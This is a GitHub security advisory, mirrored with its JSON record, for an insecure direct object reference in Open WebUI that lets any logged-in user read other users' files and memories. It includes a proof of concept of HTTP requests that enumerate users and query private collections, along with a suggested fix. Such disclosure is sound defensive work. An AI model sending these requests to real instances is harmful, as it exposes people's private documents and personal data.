GHSA-W9F8-GXF9-RHVW
Vulnerability from github – Published: 2026-03-27 15:35 – Updated: 2026-03-27 15:35Summary
Any authenticated user can read other users' private memories via /api/v1/retrieval/query/collection
Details
Vulnerability 1: Missing authorization in collection querying
In backend/open_webui/routers/retrieval.py, the query_collection_handler function accepts a list of collection_names but performs no ownership validation:
async def query_collection_handler(
request: Request,
form_data: QueryCollectionsForm,
user=Depends(get_verified_user), # Only checks authentication, not authorization
):
Collection names follow predictable patterns:
- User files: file-{FILE_UUID}
- User memories: user-memory-{USER_UUID} (requires Memory experimental feature)
PoC
Environment: Open WebUI v0.8.3, default configuration. Setup: 1. Register two users: admin (first user) and attacker (second user). 2. As admin, upload a PDF document through chat. 3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories.
Exploitation — Step 1: Enumerate all users
GET /api/v1/users/search HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Response reveals all users including admin's UUID, email, and role:
{
"users": [
{
"id": "1e4756eb-b064-4781-8b06-4979bca59c8b",
"name": "user",
"email": "user@test.com",
"role": "user"
},
{
"id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
"name": "admin",
"email": "admin@test.com",
"role": "admin"
}
]
}
Exploitation — Step 2: Read admin's memories
Using the admin UUID obtained in Step 1, query their private memory collection:
POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json
{
"collection_names": ["user-memory-<admin_UUID_from_step_1>"],
"query": "test"
}
Response returns admin's private memories:
{
"documents": [["User is testing IDOR", "User - Mariusz, security researcher"]]
}
Note: Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.
Exploitation — Step 3: Read admin's private file (Vulnerability 1)
File collections use the pattern file-{FILE_UUID}. The file UUID must be obtained separately. Once known:
POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json
{
"collection_names": ["file-<file_UUID>"],
"query": "test"
}
Response returns admin's private document content and full metadata:
{
"documents": [["Test PDF \nabc \nbcd"]],
"metadatas": [[{
"name": "Test PDF.pdf",
"author": "Mariusz Maik",
"created_by": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
"file_id": "243bee10-49ad-466f-884b-67b6b3d74968"
}]]
}
Impact
- Document theft: Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.
- User enumeration: All user UUIDs, emails, names, and roles are exposed to any authenticated user via
/api/v1/users/search. - Memory leakage: When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation.
- No admin privileges required: A regular user account is sufficient to exploit all of the above.
Suggested Fix
1. Add ownership validation in /api/v1/retrieval/query/collection:
async def query_collection_handler(
request: Request,
form_data: QueryCollectionsForm,
user=Depends(get_verified_user),
):
for collection_name in form_data.collection_names:
if collection_name.startswith("user-memory-"):
owner_id = collection_name.replace("user-memory-", "")
if owner_id != user.id and user.role != "admin":
raise HTTPException(status_code=403, detail="Access denied")
elif collection_name.startswith("file-"):
file_id = collection_name.replace("file-", "")
# user_has_access_to_file — placeholder; verify file ownership
# e.g. check if created_by matches user.id
if not user_has_access_to_file(user.id, file_id):
raise HTTPException(status_code=403, detail="Access denied")
2. Restrict /api/v1/users/search to admin-only or limit the fields returned to non-privileged users.
Disclosure
AI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.5"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29071"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T15:35:49Z",
"nvd_published_at": "2026-03-27T00:16:22Z",
"severity": "LOW"
},
"details": "### Summary\nAny authenticated user can read other users\u0027 private memories via `/api/v1/retrieval/query/collection`\n\n### Details\n**Vulnerability 1: Missing authorization in collection querying**\n\nIn `backend/open_webui/routers/retrieval.py`, the `query_collection_handler` function accepts a list of `collection_names` but performs no ownership validation:\n\n```python\nasync def query_collection_handler(\n request: Request,\n form_data: QueryCollectionsForm,\n user=Depends(get_verified_user), # Only checks authentication, not authorization\n):\n```\n\nCollection names follow predictable patterns:\n- User files: `file-{FILE_UUID}`\n- User memories: `user-memory-{USER_UUID}` (requires Memory experimental feature)\n\n### PoC\n**Environment:** Open WebUI v0.8.3, default configuration.\n**Setup:**\n1. Register two users: admin (first user) and attacker (second user).\n2. As admin, upload a PDF document through chat.\n3. As admin, enable Memory (Settings \u2192 Personalization \u2192 Memory) and add some memories.\n\n**Exploitation \u2014 Step 1: Enumerate all users**\n\n```\nGET /api/v1/users/search HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\n```\n\nResponse reveals all users including admin\u0027s UUID, email, and role:\n\n```json\n{\n \"users\": [\n {\n \"id\": \"1e4756eb-b064-4781-8b06-4979bca59c8b\",\n \"name\": \"user\",\n \"email\": \"user@test.com\",\n \"role\": \"user\"\n },\n {\n \"id\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n \"name\": \"admin\",\n \"email\": \"admin@test.com\",\n \"role\": \"admin\"\n }\n ]\n}\n```\n\n\u003cimg width=\"1340\" height=\"731\" alt=\"1poc - users\" src=\"https://github.com/user-attachments/assets/46d1cb64-2f84-480e-b887-819008ddabc9\" /\u003e\n\n**Exploitation \u2014 Step 2: Read admin\u0027s memories**\n\nUsing the admin UUID obtained in Step 1, query their private memory collection:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\nContent-Type: application/json\n\n{\n \"collection_names\": [\"user-memory-\u003cadmin_UUID_from_step_1\u003e\"],\n \"query\": \"test\"\n}\n```\n\nResponse returns admin\u0027s private memories:\n\n```json\n{\n \"documents\": [[\"User is testing IDOR\", \"User - Mariusz, security researcher\"]]\n}\n```\n\n\u003cimg width=\"1285\" height=\"606\" alt=\"2poc - memory\" src=\"https://github.com/user-attachments/assets/eac7c129-dcad-4afd-9449-2ca93b19e082\" /\u003e\n\n**Note:** Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.\n\n**Exploitation \u2014 Step 3: Read admin\u0027s private file (Vulnerability 1)**\n\nFile collections use the pattern `file-{FILE_UUID}`. The file UUID must be obtained separately. Once known:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\nContent-Type: application/json\n\n{\n \"collection_names\": [\"file-\u003cfile_UUID\u003e\"],\n \"query\": \"test\"\n}\n```\n\nResponse returns admin\u0027s private document content and full metadata:\n\n```json\n{\n \"documents\": [[\"Test PDF \\nabc \\nbcd\"]],\n \"metadatas\": [[{\n \"name\": \"Test PDF.pdf\",\n \"author\": \"Mariusz Maik\",\n \"created_by\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n \"file_id\": \"243bee10-49ad-466f-884b-67b6b3d74968\"\n }]]\n}\n```\n\n\u003cimg width=\"1413\" height=\"908\" alt=\"image\" src=\"https://github.com/user-attachments/assets/43041261-ec98-4f3f-8c26-a0c63ef18596\" /\u003e\n\n### Impact\n- **Document theft:** Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.\n- **User enumeration:** All user UUIDs, emails, names, and roles are exposed to any authenticated user via `/api/v1/users/search`.\n- **Memory leakage:** When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user \u2014 directly contradicting the official documentation.\n- **No admin privileges required:** A regular user account is sufficient to exploit all of the above.\n\n### Suggested Fix\n\n**1. Add ownership validation in `/api/v1/retrieval/query/collection`:**\n\n```python\nasync def query_collection_handler(\n request: Request,\n form_data: QueryCollectionsForm,\n user=Depends(get_verified_user),\n):\n for collection_name in form_data.collection_names:\n if collection_name.startswith(\"user-memory-\"):\n owner_id = collection_name.replace(\"user-memory-\", \"\")\n if owner_id != user.id and user.role != \"admin\":\n raise HTTPException(status_code=403, detail=\"Access denied\")\n elif collection_name.startswith(\"file-\"):\n file_id = collection_name.replace(\"file-\", \"\")\n # user_has_access_to_file \u2014 placeholder; verify file ownership\n # e.g. check if created_by matches user.id\n if not user_has_access_to_file(user.id, file_id):\n raise HTTPException(status_code=403, detail=\"Access denied\")\n```\n\n**2. Restrict `/api/v1/users/search`** to admin-only or limit the fields returned to non-privileged users.\n\n### Disclosure\n\nAI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.",
"id": "GHSA-w9f8-gxf9-rhvw",
"modified": "2026-03-27T15:35:49Z",
"published": "2026-03-27T15:35:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-w9f8-gxf9-rhvw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29071"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI\u0027s Insecure Direct Object Reference (IDOR) allows access to other users\u0027 memories"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.